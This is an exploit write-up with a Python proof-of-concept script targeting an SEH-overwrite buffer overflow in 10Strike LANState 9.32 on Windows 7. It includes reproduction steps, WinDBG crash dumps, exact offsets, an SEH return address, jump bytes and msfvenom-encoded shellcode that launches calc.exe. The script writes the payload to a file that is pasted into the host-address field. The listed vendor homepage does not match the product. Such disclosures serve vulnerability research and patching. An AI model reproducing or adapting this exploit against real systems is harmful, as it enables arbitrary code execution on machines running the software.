# Exploit Title: 10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)# Date: 2020-04-01# Exploit Author: Hodorsec# Version: v9.32 x86# Software Link: https://www.10-strike.com/lanstate/lanstate-setup.exe# Vendor Homepage:https://www.freecommander.com# Tested on:Win7 x86 SP1 - Build 7601# Description:# - Exploits the "Force Check" option when listing the Host Checks in option "Check List". Entering an overly long string, results in a crash which overwrites SEH.# Reproduction:# - Use indicated OS or manipulate settings: your mileage may vary due to different offsets on other Windows versions / SP's.# - Run the script, a TXT file will be generated# - On the Windows machine, open the TXT file in Wordpad. Copy the contents to clipboard (ctrl+c)# - Open LANState, use any "Map", for example the "demo_map"# - Click on tab "Home", click option "Check List"# - Rightclick on any existing hostname and click "Edit"# - Paste the value from clipboard in the field "Host address (name)"# - Next, Next, Finish# - In the "List of checks" overview, select the modified host and press the spacebar (Force Check)# - Check results# WinDBG initial crash output using only A's:# (c5c.c2c): Access violation - code c0000005 (first chance)# First chance exceptions are reported before any exception handling.# This exception may be expected and handled.# eax=00002759 ebx=0012f838 ecx=000007f6 edx=0012f880 esi=0781bf78 edi=00130000# eip=00402e57 esp=0012f7d8 ebp=0012f99c iopl=0 nv up ei pl nz na po nc# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00210202# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\10-Strike LANState\LANState.exe# LANState+0x2e57:# 00402e57 f3a5rep movs dword ptr es:[edi],dword ptr [esi]# 0:000> g# (c5c.c2c): Access violation - code c0000005 (first chance)# First chance exceptions are reported before any exception handling.# This exception may be expected and handled.# eax=0012f98c ebx=0012f98c ecx=05250858 edx=41414141 esi=00000002 edi=0012f7f0# eip=004053e6 esp=0012f7f8 ebp=0012f99c iopl=0 nv up ei pl nz na pe nc# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00210206# LANState+0x53e6:# 004053e6 8b4af8mov ecx,dword ptr [edx-8] ds:0023:41414139=????????# 0:000> g# (c5c.c2c): Access violation - code c0000005 (first chance)# First chance exceptions are reported before any exception handling.# This exception may be expected and handled.# eax=00000000 ebx=00000000 ecx=41414141 edx=77f0720d esi=00000000 edi=00000000# eip=41414141 esp=0012f298 ebp=0012f2b8 iopl=0 nv up ei pl zr na pe nc# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00210246# 41414141 ?????#!/usr/bin/python
import sys,struct
# Filename
filename = "10_strike_lanstate-poc.txt"# Maximum length
maxlen = 10000
# Shellcode, using alphanum chars due to bytes considered to be bad above \x7f# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c -v shellcode# Payload size: 447 bytes
shellcode = ("\xdb\xdc\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49""\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41""\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42""\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b""\x4c\x78\x68\x6d\x52\x65\x50\x37\x70\x77\x70\x43\x50\x4d\x59""\x39\x75\x36\x51\x59\x50\x32\x44\x6e\x6b\x32\x70\x46\x50\x6e""\x6b\x70\x52\x34\x4c\x6e\x6b\x61\x42\x45\x44\x4c\x4b\x54\x32""\x47\x58\x36\x6f\x6e\x57\x53\x7a\x66\x46\x46\x51\x79\x6f\x4e""\x4c\x37\x4c\x51\x71\x53\x4c\x44\x42\x44\x6c\x61\x30\x4a\x61""\x68\x4f\x66\x6d\x73\x31\x49\x57\x59\x72\x58\x72\x30\x52\x56""\x37\x4e\x6b\x52\x72\x34\x50\x6c\x4b\x33\x7a\x35\x6c\x6c\x4b""\x42\x6c\x57\x61\x74\x38\x6d\x33\x33\x78\x77\x71\x4b\x61\x32""\x71\x6e\x6b\x51\x49\x77\x50\x76\x61\x6a\x73\x6e\x6b\x61\x59""\x67\x68\x79\x73\x57\x4a\x42\x69\x4e\x6b\x37\x44\x6c\x4b\x43""\x31\x4e\x36\x45\x61\x6b\x4f\x6c\x6c\x6a\x61\x48\x4f\x34\x4d""\x47\x71\x5a\x67\x37\x48\x39\x70\x62\x55\x4b\x46\x65\x53\x63""\x4d\x39\x68\x67\x4b\x73\x4d\x46\x44\x53\x45\x79\x74\x76\x38""\x4c\x4b\x63\x68\x66\x44\x43\x31\x48\x53\x72\x46\x4e\x6b\x76""\x6c\x70\x4b\x4e\x6b\x61\x48\x57\x6c\x46\x61\x79\x43\x6c\x4b""\x54\x44\x6e\x6b\x57\x71\x68\x50\x6e\x69\x30\x44\x76\x44\x45""\x74\x53\x6b\x61\x4b\x65\x31\x62\x79\x31\x4a\x30\x51\x39\x6f""\x59\x70\x63\x6f\x71\x4f\x50\x5a\x6c\x4b\x56\x72\x4a\x4b\x6c""\x4d\x73\x6d\x30\x6a\x77\x71\x6e\x6d\x4d\x55\x4e\x52\x37\x70""\x75\x50\x63\x30\x52\x70\x63\x58\x56\x51\x4e\x6b\x42\x4f\x4e""\x67\x69\x6f\x49\x45\x4d\x6b\x58\x70\x4d\x65\x6d\x72\x50\x56""\x75\x38\x6e\x46\x6f\x65\x6f\x4d\x6d\x4d\x39\x6f\x58\x55\x75""\x6c\x63\x36\x73\x4c\x76\x6a\x6b\x30\x59\x6b\x4d\x30\x52\x55""\x74\x45\x6f\x4b\x43\x77\x42\x33\x63\x42\x62\x4f\x51\x7a\x77""\x70\x73\x63\x69\x6f\x58\x55\x72\x43\x30\x61\x72\x4c\x31\x73""\x46\x4e\x45\x35\x63\x48\x63\x55\x47\x70\x41\x41")# Offsets
crash_ebp = 228
crash_nseh = 236
crash_seh = crash_nseh + 4
# Variables
nops = "\x90"* 16# Nops# Prefix
prefix = "A"* crash_nseh # Filler
nseh = "\x71\x06\x70\x04"# JNO # JO # Jump over NSEH/SEH
seh = struct.pack("<L", 0x0132730f)# call dword ptr ss:[ebp-04] # [LANState.exe]
suffix = nops # Old-school NOP'ing
suffix += shellcode # Magic!
suffix +="D"*(maxlen - len(prefix + nseh + seh + suffix))# Filler# Concatenate string for payload
payload = prefix + nseh + seh + suffix# Put it all togethertry:
file = open(filename,"wb")
file.write(payload)
file.close()
print "[+] File "+ filename +" with size "+ str(len(payload))+" created successfully"
except:
print "[!] Error creating file!"
sys.exit(0)
